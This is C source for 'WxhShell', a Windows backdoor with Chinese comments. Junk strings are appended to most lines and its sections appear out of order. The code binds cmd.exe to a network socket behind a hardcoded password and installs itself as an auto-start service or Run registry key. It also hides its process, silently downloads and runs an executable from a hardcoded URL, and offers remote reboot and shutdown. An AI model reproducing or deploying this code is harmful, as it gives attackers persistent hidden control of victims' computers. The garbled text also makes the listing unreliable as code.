    else { Zn-F!Lsv  
    closesocket(wsh); s}O9[_v  
    ExitThread(0); ya*KA.EGg  
    } P ~sX S  
    break; $@wTc  
    } o1dECLQa  
  // 获取shell vz~QR i*  
  case 's': { 1TuN   
    CmdShell(wsh); @Yl&Jg2l'  
    closesocket(wsh); :X66[V&eH  
    ExitThread(0); u4W2 {  
    break; "1#piJ  
  } ~boTh  
  // 退出 aYmC LLj  
  case 'x': { OJ/l}_a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 03{pxI  
    CloseIt(wsh); 5Az4<  
    break; S<-e/`p=H  
    } figCeJ!W4  
  // 离开 X}Oo5SNgff  
  case 'q': { I Ceb2R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R _c! ,y  
    closesocket(wsh); NDmTxW#g  
    WSACleanup(); t/3t69\x  
    exit(1); YpGG^;M$  
    break; {dbPMx  
        } U6B-{l:W  
  } i8kyYMPP  
  } aj$#8l |zu  
>=WlrmI  
  // 提示信息 Hp@nxtKxW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;(Xig$k  
} hm&cRehU  
  } F/QRgXV  
@5C!`:f  
  return; k3w(KH @  
} 5 wT e?  
.5'_5>tkv  
// shell模块句柄 5d4/}o}%"  
int CmdShell(SOCKET sock) {FrcpcrQa  
{ %]iDhXLr  
STARTUPINFO si; g aq"+@fH  
ZeroMemory(&si,sizeof(si)); -q8R'?z[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?FRuuAS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;:Yz7<>Y,  
PROCESS_INFORMATION ProcessInfo; t& *K  
char cmdline[]="cmd"; kt0ma/QpP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Avc9W[4  
  return 0; H/v|H}d;  
} Ha}TdQ%  
8d!t"oj68  
// 自身启动模式 da,Bnze0  
int StartFromService(void) A:?|\r  
{ lV*dQwa?i  
typedef struct 'H]&$AZ;@  
{ #7Pnw.s3zz  
  DWORD ExitStatus; S 6|#9C&  
  DWORD PebBaseAddress; :d!qZFln  
  DWORD AffinityMask; y>5??q  
  DWORD BasePriority; {tN?)~ZQ  
  ULONG UniqueProcessId; qoo+=eh!  
  ULONG InheritedFromUniqueProcessId; %+{[%?xh  
}   PROCESS_BASIC_INFORMATION; N1vPY]8  
}%@q; "9`  
PROCNTQSIP NtQueryInformationProcess; 8}^R jMgI  
):c)$$dn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !=Hu?F p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e[:i`J2  
V=?qU&r<+  
  HANDLE             hProcess; k v>rv37u  
  PROCESS_BASIC_INFORMATION pbi; lDV}vuM<4  
{?zBc E:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5xsGSoa+  
  if(NULL == hInst ) return 0; ! /^Jma7n  
mF@)l]UZ'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GjfPba4>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4dgo*9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^_Ap?zn  
}+F&=-P)  
  if (!NtQueryInformationProcess) return 0; [ 1$p}x  
GgNqci,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &6#>a"?"  
  if(!hProcess) return 0; FS1> J%P  
RXbhuI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Hy9c<X[F9  
4^jIV!V  
  CloseHandle(hProcess); gpe/dfyJ9  
L2jjkyX]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,*r}23  
if(hProcess==NULL) return 0; z87_/(nu  
 u51%~  
HMODULE hMod; qTA,rr#p0  
char procName[255]; /M3UK  
unsigned long cbNeeded; :Nt_LsH  
\mIm}+!H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L6ifT`;T  
z^etH/]Sy  
  CloseHandle(hProcess); xeGl}q|  
(z:DTe  
if(strstr(procName,"services")) return 1; // 以服务启动 *2(W`m  
,2R7AHk  
  return 0; // 注册表启动 TB@0j ;g  
} {+SshT>J  
b;K]; o-/f  
// 主模块 keMfK ]9  
int StartWxhshell(LPSTR lpCmdLine) yt@;yd:OEk  
{ 6~rO(  
  SOCKET wsl; X S&oW  
BOOL val=TRUE; c2,;t)%@E  
  int port=0; KIeTZVu$%  
  struct sockaddr_in door; \d&/,?,Ey  
I/&uiC{l@  
  if(wscfg.ws_autoins) Install(); f0h^ULd  
RaBq@r*(  
port=atoi(lpCmdLine); 9!kH:Az[p  
xyvG+K&  
if(port<=0) port=wscfg.ws_port; 4uV,$/  
M`=bJO:  
  WSADATA data; ^G*zFqa+`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9td[^EB#(h  
\GFFPCi4 D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j/Dc';,d.(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p[&6hXTd  
  door.sin_family = AF_INET; ~dm/U7B:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -UMPt"o  
  door.sin_port = htons(port); n_qDg  
@8jc|X<A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2=[deQs  
closesocket(wsl); D#pZN,'  
return 1; 5e|2b] f$  
} u[>hs \3k  
]-D&/88``  
  if(listen(wsl,2) == INVALID_SOCKET) { 5YW.s   
closesocket(wsl); YO3$I!(  
return 1; P\3$Y-id  
} 9_07?`Jr  
  Wxhshell(wsl); CB1AL]|3  
  WSACleanup(); 3ZhB 8 P  
Onqd2'%<  
return 0; sgRD]SF  
^-Knx!z  
} K5ywO8_6`  
3SU:Xd(\o  
// 以NT服务方式启动 yOQEF\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \dG#hH4ZD  
{ M.loG4r!  
DWORD   status = 0; >JWW2<  
  DWORD   specificError = 0xfffffff; UojHlTg#bT  
f5droys9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Og8'K=O#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |fd}B5!c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >@T(^=Q  
  serviceStatus.dwWin32ExitCode     = 0; uQYBq)p|  
  serviceStatus.dwServiceSpecificExitCode = 0; [|NgrU_.  
  serviceStatus.dwCheckPoint       = 0; +=qazE<:0  
  serviceStatus.dwWaitHint       = 0; fK'qc L  
2 ~zo)G0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gEBwn2  
  if (hServiceStatusHandle==0) return; I {o\d'/  
, id`=L=  
status = GetLastError(); \!_:<"nX.  
  if (status!=NO_ERROR) MUs~ZF  
{ jcuC2t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~:|qdv%\  
    serviceStatus.dwCheckPoint       = 0; u>cU*E4/  
    serviceStatus.dwWaitHint       = 0; F9Bj$`#)  
    serviceStatus.dwWin32ExitCode     = status; EA/+~ux  
    serviceStatus.dwServiceSpecificExitCode = specificError; =)p/p6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a33SY6.  
    return; %mv9+WJN.  
  } x,3oa_'E  
+"!=E erKi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G ]T A7~VT  
  serviceStatus.dwCheckPoint       = 0; cHG>iW9C  
  serviceStatus.dwWaitHint       = 0; ti)4J2c,8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rf%NfU  
} v.aSf`K  
m&h5u,  
// 处理NT服务事件,比如:启动、停止 @Qa)@'u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) unUCn5hJ=  
{ 7fB:wPlG;  
switch(fdwControl) S&rfMRP  
{ 0aF&5Lk`y  
case SERVICE_CONTROL_STOP: BWz7m9 T  
  serviceStatus.dwWin32ExitCode = 0; IIW6;jS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1 ^k#g,  
  serviceStatus.dwCheckPoint   = 0; ;h }^f-  
  serviceStatus.dwWaitHint     = 0; dF- d  
  { wW1E 'Vy{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e+ZC<Bdh  
  } -bq\2Yc$]  
  return; g@ ZZcBx  
case SERVICE_CONTROL_PAUSE: 'x-PQQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1HBdIWhHv.  
  break; xzGs%01]  
case SERVICE_CONTROL_CONTINUE: @+S5"W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |0wUOs*5  
  break; 9%VNzPzf  
case SERVICE_CONTROL_INTERROGATE: kp+\3z_  
  break; D-zqu~f`  
}; otsINAizgS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <AzM~]"3  
} 9bpY>ze  
7;_./c_@  
// 标准应用程序主函数 <( 0TK5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u/D=&"tL  
{ d9hJEu!Lu  
4~G++|NQ  
// 获取操作系统版本 X5@rPGc  
OsIsNt=GetOsVer(); CpAdE m{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qX(sx2TK  
0CYm%p8!  
  // 从命令行安装 ye9-%~sjX  
  if(strpbrk(lpCmdLine,"iI")) Install(); $X%w9l e  
415 95x:  
  // 下载执行文件 FL 5tIfV+  
if(wscfg.ws_downexe) { Ve4!MM@ti  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LZ@4,Uj  
  WinExec(wscfg.ws_filenam,SW_HIDE); SGU~LW&  
} pGy]t  
qYMTud[Vf  
if(!OsIsNt) { A3UC=z<y  
// 如果时win9x,隐藏进程并且设置为注册表启动 iG[an*#X  
HideProc(); JvHGu&Nr!  
StartWxhshell(lpCmdLine); y`~[R7E  
} ((U-JeFW   
else S> f8j?n  
  if(StartFromService()) sQT0y(FW  
  // 以服务方式启动 4g.y$  
  StartServiceCtrlDispatcher(DispatchTable); :EK.&% 2  
else o <lS90J  
  // 普通方式启动 k++Os'hSEY  
  StartWxhshell(lpCmdLine); (wNL,<%~  
N[~"X**x  
return 0; D/CSR=b  
} )ow|n^D($M  
|zV-a2K%J  
3 *o l  
f1'NWec  
=========================================== 'w+T vOB  
RhG9Xw9  
%} _{_Z  
o0>z6Ya<  
uC>X;<^   
5]WpH0kzO  
" * Yr)>;^  
g`jO  
#include <stdio.h> ,$,6%"'"  
#include <string.h> 29?{QJb  
#include <windows.h> /x6,"M[97  
#include <winsock2.h> bP`.teO\  
#include <winsvc.h> <Gy)|qpK[  
#include <urlmon.h> 0R,?$qM\  
VP$`.y  
#pragma comment (lib, "Ws2_32.lib") 'm@0[i  
#pragma comment (lib, "urlmon.lib") |wKC9O@%  
A|#9  
#define MAX_USER   100 // 最大客户端连接数 9L}=xX`>?  
#define BUF_SOCK   200 // sock buffer i#t)tM"  
#define KEY_BUFF   255 // 输入 buffer -E4e8'P;5  
1/Pou)D  
#define REBOOT     0   // 重启 ;}b.gpG  
#define SHUTDOWN   1   // 关机 4VjP:>*p  
HR55|`]  
#define DEF_PORT   5000 // 监听端口 ;zD1#dD  
fA u^%jiU  
#define REG_LEN     16   // 注册表键长度 -.|V S|y  
#define SVC_LEN     80   // NT服务名长度 C?e1 a9r  
.0:t wj  
// 从dll定义API [s-Km/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V `V Z[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k0{5)Su"xr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *5k" v"NM(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZM/*cA!"  
Y"&&=M#  
// wxhshell配置信息 swvn*xr  
struct WSCFG { Z8P{Cr~U9  
  int ws_port;         // 监听端口 e9;<9uX  
  char ws_passstr[REG_LEN]; // 口令 :,$:@  
  int ws_autoins;       // 安装标记, 1=yes 0=no y K~;LV  
  char ws_regname[REG_LEN]; // 注册表键名 a%"My;8  
  char ws_svcname[REG_LEN]; // 服务名 G J=<~S"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !5Ko^:+Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W8Z&J18AU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8[SiIuIV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [kx_Izi/T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2T &<jt  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `}ak;^Me  
$srb!&~_>  
}; /sf:.TpVh  
}qlU  
// default Wxhshell configuration 'dYjbQ}~;  
struct WSCFG wscfg={DEF_PORT, ,v$gWA!l  
    "xuhuanlingzhe", Gn+D%5)$I  
    1, , ;L  
    "Wxhshell", k=2]@K$%  
    "Wxhshell", *hVW >{a  
            "WxhShell Service", l BS!=/7  
    "Wrsky Windows CmdShell Service", .'C$w1[w  
    "Please Input Your Password: ", &Avd  
  1, W$7db%qFx  
  "http://www.wrsky.com/wxhshell.exe", ID" '`DKxe  
  "Wxhshell.exe" wSHE~Xx  
    }; )A9K9pZj  
6D,xs}j1  
// 消息定义模块 UH1AT#?!W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @~0kSA7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9"g=it2Rh6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,vEwck#  
char *msg_ws_ext="\n\rExit."; &B\tcF  
char *msg_ws_end="\n\rQuit."; F gM<2$h  
char *msg_ws_boot="\n\rReboot..."; "ZDc$v:Qa  
char *msg_ws_poff="\n\rShutdown..."; N.OC _H&  
char *msg_ws_down="\n\rSave to "; wkK61a h6  
0[@ 9f1Nk4  
char *msg_ws_err="\n\rErr!"; RKsr}-1 8  
char *msg_ws_ok="\n\rOK!"; $:kG>R@\t  
\TS t  
char ExeFile[MAX_PATH]; 3!M;Z7qF]  
int nUser = 0; :B?XNo  
HANDLE handles[MAX_USER]; oR>o/$z$)g  
int OsIsNt; ;/#E!Ja/ u  
nj99!"_   
SERVICE_STATUS       serviceStatus; T_bk%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kVk^?F  
5K13    
// 函数声明 i.I iwe0G  
int Install(void); >;}np F>  
int Uninstall(void); (3`Q`o;  
int DownloadFile(char *sURL, SOCKET wsh); k;PQVF&E  
int Boot(int flag); "h'0&ZP~_  
void HideProc(void); $F-qqkR$  
int GetOsVer(void); _IJPZ'Hr  
int Wxhshell(SOCKET wsl); Q6Z%T.1  
void TalkWithClient(void *cs); w4U]lg<}E  
int CmdShell(SOCKET sock); 7Wb:^.d g  
int StartFromService(void); ,Ju f  
int StartWxhshell(LPSTR lpCmdLine); qepsR/0M  
K2,oP )0.Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >|%m#JG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D4[1CQ@}4D  
ItGi2'}  
// 数据结构和表定义 y*A#}b*0  
SERVICE_TABLE_ENTRY DispatchTable[] = 6]^; s1!  
{ *[jG^w0z8~  
{wscfg.ws_svcname, NTServiceMain}, K 0RY2Hiw  
{NULL, NULL} \D(6t!Ox  
}; az@{O4  
0qXd?z$  
// 自我安装 J >Zd0Dn  
int Install(void) /v"u4Ipj  
{ u9rlNmf$  
  char svExeFile[MAX_PATH]; _hyboQi  
  HKEY key; .|XIF   
  strcpy(svExeFile,ExeFile); I=X-e#HM?  
Wf/Gt\?  
// 如果是win9x系统,修改注册表设为自启动 n5 dFp%k  
if(!OsIsNt) { O, 6U pk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q':xi;?Kt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2C^/;z  
  RegCloseKey(key); ppO!v?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vQ[ Tc V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %}{.U  
  RegCloseKey(key); G ahY+$L,  
  return 0; c43&[xP Lz  
    } H+Q_%%[N  
  } Gn<e&|4>i}  
} f1t?<=3Ek<  
else { >9[wjB2?}  
b+$-f:mj  
// 如果是NT以上系统,安装为系统服务 Ljk0K3Q6>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T=fVD8  
if (schSCManager!=0) Vtk}>I@%  
{ bW zUWLa  
  SC_HANDLE schService = CreateService ^k!u  
  ( Hlj3z3  
  schSCManager, M2nZ,I=l  
  wscfg.ws_svcname, 'A/ f>W  
  wscfg.ws_svcdisp, x^ sTGd  
  SERVICE_ALL_ACCESS, lsVg'k/Z!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q{7+N1 "  
  SERVICE_AUTO_START, 5_SxX@fW %  
  SERVICE_ERROR_NORMAL, u)l[*";S  
  svExeFile, ^0 /!:*?  
  NULL, kqLpt  
  NULL, [O6JVXO>  
  NULL, "mcuF]7F  
  NULL, _61tE  
  NULL Q>\9/DjUp  
  ); 0|?DA12Z  
  if (schService!=0) QW&@>i  
  { {;hR FQ^b  
  CloseServiceHandle(schService); N ^H H&~V  
  CloseServiceHandle(schSCManager); T7*p! 0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M5+K[Ir/y9  
  strcat(svExeFile,wscfg.ws_svcname); XMpE|M! c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QB7^8O!<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h'A #Yp0,  
  RegCloseKey(key); |l,0bkY@&  
  return 0; wE_#b\$=b  
    } 9bD ER  
  } |LE*R@|3$  
  CloseServiceHandle(schSCManager); (M%ZSF V  
} +VHo YEW  
} `~LaiN.  
QC+BEN$  
return 1; 58Z,(4:E  
} _i0,?U2C  
s?&UFyYb,  
// 自我卸载 G3t\2E9S  
int Uninstall(void) `R:HMO[ow  
{ 9Oc(Gl5az  
  HKEY key; !(qaudX{>k  
6CzN[R}  
if(!OsIsNt) { k7bfgb {  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <Kq!)) J'  
  RegDeleteValue(key,wscfg.ws_regname); "C]_pWk  
  RegCloseKey(key); +Z/aG k;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $9<P3J 1  
  RegDeleteValue(key,wscfg.ws_regname); y?V#LW[^E  
  RegCloseKey(key); RZI4N4o  
  return 0; &fwb?Vn4  
  } u]t#Vf-$u  
} o&rNM5:  
} )n$RHt+:>  
else { T28Q(\C:}  
WO{9S%ck  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E XQ 3(:&  
if (schSCManager!=0) $-_@MT~  
{ Ga $EM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @ {8x L  
  if (schService!=0) *iujJ i  
  { ]q@W(\I  
  if(DeleteService(schService)!=0) { MJ`BlE,Fmb  
  CloseServiceHandle(schService); zY\MzhkX,  
  CloseServiceHandle(schSCManager); (k>I!Z/&2  
  return 0; M!] g36h[  
  } U( "m}^  
  CloseServiceHandle(schService); gz`P~7-w:  
  } !T26#>mV  
  CloseServiceHandle(schSCManager); 1&JB@F9!  
} _6MNEoy?  
} _<;westq  
\oAxmvt  
return 1; =/qj vY  
} > 0NDlS%Q:  
tfq; KR  
// 从指定url下载文件 ?L6ACi`9  
int DownloadFile(char *sURL, SOCKET wsh) qeoj  
{ "z ;ky8  
  HRESULT hr; ;O * o  
char seps[]= "/"; GZNfx8zsY+  
char *token; Dq~D4|  
char *file; !\N|$-M  
char myURL[MAX_PATH]; kI#yW!  
char myFILE[MAX_PATH]; ~er4w+"  
2W=am_\0e.  
strcpy(myURL,sURL); %z AN@  
  token=strtok(myURL,seps); .5?Md  
  while(token!=NULL) >tVD[wVF0  
  { |>AHc_:$$  
    file=token; 3']=w@~ O[  
  token=strtok(NULL,seps); Lw #vHNf6  
  } ~0XV[$`L  
j?9fb  
GetCurrentDirectory(MAX_PATH,myFILE); `1)n2<B  
strcat(myFILE, "\\"); $61*X f+*  
strcat(myFILE, file); # >L^W7^  
  send(wsh,myFILE,strlen(myFILE),0); )w!*6<  
send(wsh,"...",3,0); FVS@z5A8<=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D}:M0EBS  
  if(hr==S_OK) nV+]jQ~o  
return 0; _.$g?E/(  
else @;H1s4OZ  
return 1; 9mfP9  
ixIfJ  
} Xu#K<#V  
5K %  
// 系统电源模块 9x9~u8j  
int Boot(int flag) 9='=wWW  
{ jCv%[H7  
  HANDLE hToken; .#$D\cwV  
  TOKEN_PRIVILEGES tkp; %y}l^P5z  
*L~88-V^  
  if(OsIsNt) { Na2n4x!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (.54`[2+L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5Rec~&v  
    tkp.PrivilegeCount = 1; Sej\Gt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E;C=V2#>[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /J0ctJ2k  
if(flag==REBOOT) { Fl&Z}&5p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6N.+  
  return 0; ti^msC8e  
} \LZVazXD  
else { - d(RK_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SRf .8j  
  return 0; G%RhNwm  
} S`?cs^?  
  } gw);b)&mx  
  else { _f5n t:-  
if(flag==REBOOT) { 8]-c4zK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -?&s6XA%#  
  return 0; b".e6zev  
} WF0[/Y  
else { A('_.J=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5W=jQ3 C  
  return 0; &fYV FRVkq  
} .kkrU  
} KQ(7%W  
F-2&P:sjQ  
return 1; ' Zmslijf  
} b#[7A  
IHlTp0?  
// win9x进程隐藏模块 q-)Ynp4'  
void HideProc(void) c- {;P>L  
{ `;fk,\8t%  
P_f^gB7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |&]04  
  if ( hKernel != NULL ) my^2}>wi  
  { 5U+a{oA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XKq}^M&gy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <X,0\U!lL  
    FreeLibrary(hKernel);  E\! <=  
  } T=n)ea A  
nd/.]"  
return; dNMz(~A[Y  
} Y"&1jud4xl  
O A9G] 8k  
// 获取操作系统版本 *(sUz?t  
int GetOsVer(void) }yW*vy6`  
{ =`MU*Arcs[  
  OSVERSIONINFO winfo; v{dvB:KP5X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pl.K*9+  
  GetVersionEx(&winfo); rWo&I _{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J(JqusQd !  
  return 1; ^7 oXJu=  
  else =(Ll}V,  
  return 0; -h/KrB  
} >^fkHbgNQ  
f^63<gqY  
// 客户端句柄模块 S=bdue  
int Wxhshell(SOCKET wsl) ^Gs=U[**  
{ %[9d1F 3  
  SOCKET wsh; ~HH6=qjU)  
  struct sockaddr_in client; Y$SwQ;wl  
  DWORD myID; lZa L=HS#L  
c/q -WEKL  
  while(nUser<MAX_USER) m|5yET  
{ $J] b+Bp  
  int nSize=sizeof(client); X^;LiwQv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BCK0fk~  
  if(wsh==INVALID_SOCKET) return 1; T+y3Ph--^  
aA5rvP +  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 09psqXU@I  
if(handles[nUser]==0) }L1 -2  
  closesocket(wsh); N$i|[>`j  
else `>mT/Rmb@  
  nUser++; v3vQfcxR  
  } hD5G\TR.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mSu1/?PS  
*&VqAc%qD  
  return 0; iEJY[P1  
} (\=iKE4#  
OYsG#  
// 关闭 socket v)a$;P%  
void CloseIt(SOCKET wsh) },G>+ s8h  
{ ;ESuj'*t  
closesocket(wsh); C=z7Gk=  
nUser--; X_0Ta_u?T  
ExitThread(0); UmRI! WQl  
} +%hA 6n  
U[Pll~m2b  
// 客户端请求句柄 C {GSf`D!T  
void TalkWithClient(void *cs) fq"<=  
{ ?xbPdG":R  
ma<+!*|   
  SOCKET wsh=(SOCKET)cs; [e:mRMi  
  char pwd[SVC_LEN]; [aK7v{Wu  
  char cmd[KEY_BUFF]; Ew|VDD(.  
char chr[1]; ' N@1+v=  
int i,j; ]hxE^/87  
(KF=v31_m  
  while (nUser < MAX_USER) { P,ox) )+6  
E9L)dMZSpj  
if(wscfg.ws_passstr) { +4,v. B@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b:,S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >lRa},5(  
  //ZeroMemory(pwd,KEY_BUFF); _k,/t10  
      i=0; ^\X-eeA  
  while(i<SVC_LEN) { ,`3kDqS_4  
;be2sTo  
  // 设置超时 <opBOZ d  
  fd_set FdRead; `6.rTs $<  
  struct timeval TimeOut; Wy2 pa #Q  
  FD_ZERO(&FdRead); $]G_^ji)K  
  FD_SET(wsh,&FdRead); JY|f zL  
  TimeOut.tv_sec=8; ];.H]TIc6  
  TimeOut.tv_usec=0; Xy>+r[$D:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PV*U4aP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nzdJ*C  
HW)4#nLhh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )4hb%U  
  pwd=chr[0]; )@ /!B`  
  if(chr[0]==0xd || chr[0]==0xa) { ZPT6 p J  
  pwd=0; O+Zt*jN;  
  break; 39w|2%(O.  
  } ]0VjVU-  
  i++; _IA@X. )?  
    } XL/?v" /  
` R;6]/I?  
  // 如果是非法用户,关闭 socket /GK1}h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *)V1Sd#m  
} M mjeFv  
RE72%w(oM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 26c,hPIeXY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V0,%g+.^  
, 8NY<sFh  
while(1) { Q.q'pJ-  
JO4rU- n  
  ZeroMemory(cmd,KEY_BUFF); Pw^ lp'dO  
ZR~ *Yofy  
      // 自动支持客户端 telnet标准   wz-#kH5?  
  j=0; HbRDa  
  while(j<KEY_BUFF) { E6{|zF/3'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5AWIk,[  
  cmd[j]=chr[0]; 0$-N  
  if(chr[0]==0xa || chr[0]==0xd) { cMCGaaLU  
  cmd[j]=0; z(AhO  
  break; &ggS!y'n  
  } *LTFDC  
  j++; &uh|! lD  
    } p*T`fOL  
<5s51b <  
  // 下载文件 T9@W,0#  
  if(strstr(cmd,"http://")) { r>=)Y32Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q0)6 2[cMm  
  if(DownloadFile(cmd,wsh)) kvzGI>H:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E1U~ ew  
  else 1 rr\l`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f\W1u#;u)  
  } Jl-Lz03YG  
  else {  Pa .D+  
OC$Y8Ofr  
    switch(cmd[0]) { l .8@F  
  zFy0Sz F  
  // 帮助 wzr3 y}fCe  
